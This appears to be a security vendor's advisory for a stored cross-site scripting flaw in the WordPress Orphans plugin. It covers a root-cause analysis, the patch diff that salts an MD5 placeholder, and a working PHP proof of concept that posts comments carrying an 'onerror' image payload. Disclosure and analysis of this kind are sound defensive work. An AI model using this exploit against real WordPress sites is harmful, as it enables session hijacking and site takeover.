Published : November 20, 2026

CVE-2026-124216: Orphans <= 3.4.5 Unauthenticated Stored Cross-Site Scripting via Comment Content PoC, Patch Analysis & Rule

Plugin sierotki
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.4.5
Patched Version 3.4.6
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-124216: The Orphans plugin for WordPress, versions up to and including 3.4.5, suffers from an unauthenticated stored cross-site scripting vulnerability in the comment content processing path. The flaw allows an attacker to inject arbitrary JavaScript into a comment, which is then stored and executed when a victim views the affected page. The CVSS score is 7.2 (High).

The root cause lies in the protected-tags replacement mechanism in sierotki/includes/iworks/class-iworks-orphan.php. The plugin parses comment content with DOMDocument and replaces protected HTML tags with an MD5 digest of their outertext. This digest acts as a placeholder key. Because MD5 is a pure function of the tag’s content, an attacker can precompute the digest for a malicious tag and embed that digest inside an HTML attribute of a benign tag in the comment. During the restore step, the plugin replaces the digest with the original tag’s outertext, splicing raw markup into the attribute value. No salt or secret is used, so the digest is fully predictable. The patch introduces a per-site salt (wp_salt(‘nonce’)) and hashes salt + outertext, making the placeholder unpredictable.

Exploitation requires a two-step comment chain. First, the attacker submits a benign comment under a chosen name and email. Once approved by a moderator, WordPress’s comment_previously_approved mechanism auto-publishes subsequent comments from the same name and email. The attacker then submits a second comment containing the payload: a benign tag whose outertext is the MD5 digest of a malicious tag (e.g., ). The plugin replaces the malicious tag with the digest and later restores it, injecting the script into the page. The attack vector is the standard WordPress comment form (POST to /wp-comments-post.php) with the ‘comment’ parameter.

The patch changes the placeholder generation to md5($salt . $item->outertext), where $salt is derived from wp_salt(‘nonce’) or a generated password. This prevents an attacker from predicting the digest because the salt is secret and site-specific. Without the salt, an attacker cannot construct a matching placeholder, so the restore step will not find a key for the injected digest, and no raw markup is spliced in. The version string is also bumped to 3.4.6 across multiple files.

If exploited, the vulnerability allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user viewing the injected comment page, including administrators. This can lead to session hijacking, credential theft, privilege escalation, or full site compromise. The stored nature means the payload persists until removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/sierotki/includes/iworks/class-iworks-orphan.php
+++ b/sierotki/includes/iworks/class-iworks-orphan.php
@@ -55,7 +55,7 @@
 	 *
 	 * @since 3.0.0
 	 */
-	private $version = '3.4.5';
+	private $version = '3.4.6';

 	/**
 	 * tags to avoid replacement
@@ -479,9 +479,25 @@
 		 * remove protected tags
 		 */
 		$protected = array();
+		/**
+		 * Salt the protected-tags placeholder digest: a plain
+		 * md5( outertext ) is computable from content alone, which allowed
+		 * an unauthenticated attacker to plant the digest inside an HTML
+		 * attribute and have the restore step splice raw markup there
+		 * (Stored XSS, CVE-2026-124216).
+		 *
+		 * Props for Santh (Wordfence).
+		 *
+		 * @link https://www.wordfence.com/threat-intel/vulnerabilities/researchers/santh-2
+		 * @since 3.4.6
+		 */
+		$salt = wp_salt( 'nonce' );
+		if ( empty( $salt ) ) {
+			$salt = wp_generate_password( 64, true, true );
+		}
 		foreach ( $this->protected_tags as $tag ) {
 			foreach ( $doc->find( $tag ) as $item ) {
-				$key               = md5( $item->outertext );
+				$key               = md5( $salt . $item->outertext );
 				$protected[ $key ] = $item->outertext;
 				$item->outertext   = $key;
 			}
--- a/sierotki/includes/iworks/options/includes/class-iworks-options-logger.php
+++ b/sierotki/includes/iworks/options/includes/class-iworks-options-logger.php
@@ -185,7 +185,7 @@
                         $data,
                         array(
                             'plugin_name' => 'sierotki',
-                            'plugin_version' => '3.4.5',
+                            'plugin_version' => '3.4.6',
                             'plugin_url' => 'https://github.com/iworks/sierotki',
                             'plugin_author' => sprintf( '<a href="%s">%s</a>', esc_url( 'http://iworks.pl/' ), esc_html( 'Marcin Pietrzak' ) ),
                         )
--- a/sierotki/includes/iworks/orphans/class-iworks-orphans-export.php
+++ b/sierotki/includes/iworks/orphans/class-iworks-orphans-export.php
@@ -108,7 +108,7 @@
 				'date'   => gmdate( 'c' ),
 				'plugin' => array(
 					'name'    => 'Orphans',
-					'version' => '3.4.5',
+					'version' => '3.4.6',
 				),
 				'url'    => array(
 					'GitHub'    => 'https://github.com/iworks/sierotki',
--- a/sierotki/includes/iworks/rate/rate.php
+++ b/sierotki/includes/iworks/rate/rate.php
@@ -3,7 +3,7 @@
 Class Name: iWorks Rate
 Class URI: https://github.com/iworks/iworks-rate
 Description: Dashboard Notification module.
-Version: 3.4.5
+Version: 3.4.6
 Author: Marcin Pietrzak
 Author URI: http://iworks.pl/
 License: GPLv3 or later
--- a/sierotki/sierotki.php
+++ b/sierotki/sierotki.php
@@ -3,7 +3,7 @@
  * Plugin Name:       Orphans
  * Plugin URI:        https://github.com/iworks/sierotki
  * Description:       Supports the grammar rule for orphan words at the end of a line.
- * Version:           3.4.5
+ * Version:           3.4.6
  * Author:            Marcin Pietrzak
  * Author URI:        http://iworks.pl/
  * License:           GPL-3.0+
@@ -36,7 +36,7 @@
 defined( 'ABSPATH' ) || exit;

 // Define plugin constants
-define( 'IWORKS_ORPHANS_VERSION', '3.4.5' );
+define( 'IWORKS_ORPHANS_VERSION', '3.4.6' );
 define( 'IWORKS_ORPHANS_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 define( 'IWORKS_ORPHANS_PLUGIN_URL', plugin_dir_url( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-124216 - Orphans <= 3.4.5 - Unauthenticated Stored Cross-Site Scripting via Comment Content

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Submit benign comment to establish identity (name and email)
$benign_data = [
    'comment' => 'Benign comment for CVE-2026-124216 PoC',
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'submit' => 'Post Comment'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($benign_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Step 1: Benign comment submitted. HTTP code: $http_coden";

// Step 2: Wait for moderator approval (in real attack, this is manual)
// For PoC, assume the benign comment is approved and the email is now trusted
echo "Step 2: Assuming benign comment is approved by moderator.n";

// Step 3: Craft malicious payload
// Malicious tag to inject
$malicious_tag = '<img src=x onerror=alert(document.domain)>';
// Compute MD5 digest of the malicious tag's outertext (the tag itself)
$digest = md5($malicious_tag);
// Benign tag containing the digest as an attribute value
$benign_tag_with_digest = '<span data-x="' . $digest . '">text</span>';
// The full comment content: benign tag with digest placeholder
$payload_comment = $benign_tag_with_digest;

// Step 4: Submit payload comment using the same name and email
$payload_data = [
    'comment' => $payload_comment,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'submit' => 'Post Comment'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Step 3: Payload comment submitted. HTTP code: $http_coden";
echo "Payload comment content: $payload_commentn";
echo "Expected stored XSS when comment is rendered.n";

// Note: In a real scenario, the attacker must wait for the first comment to be approved
// and then submit the second comment. The second comment will be auto-approved due to
// WordPress's comment_previously_approved mechanism.

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.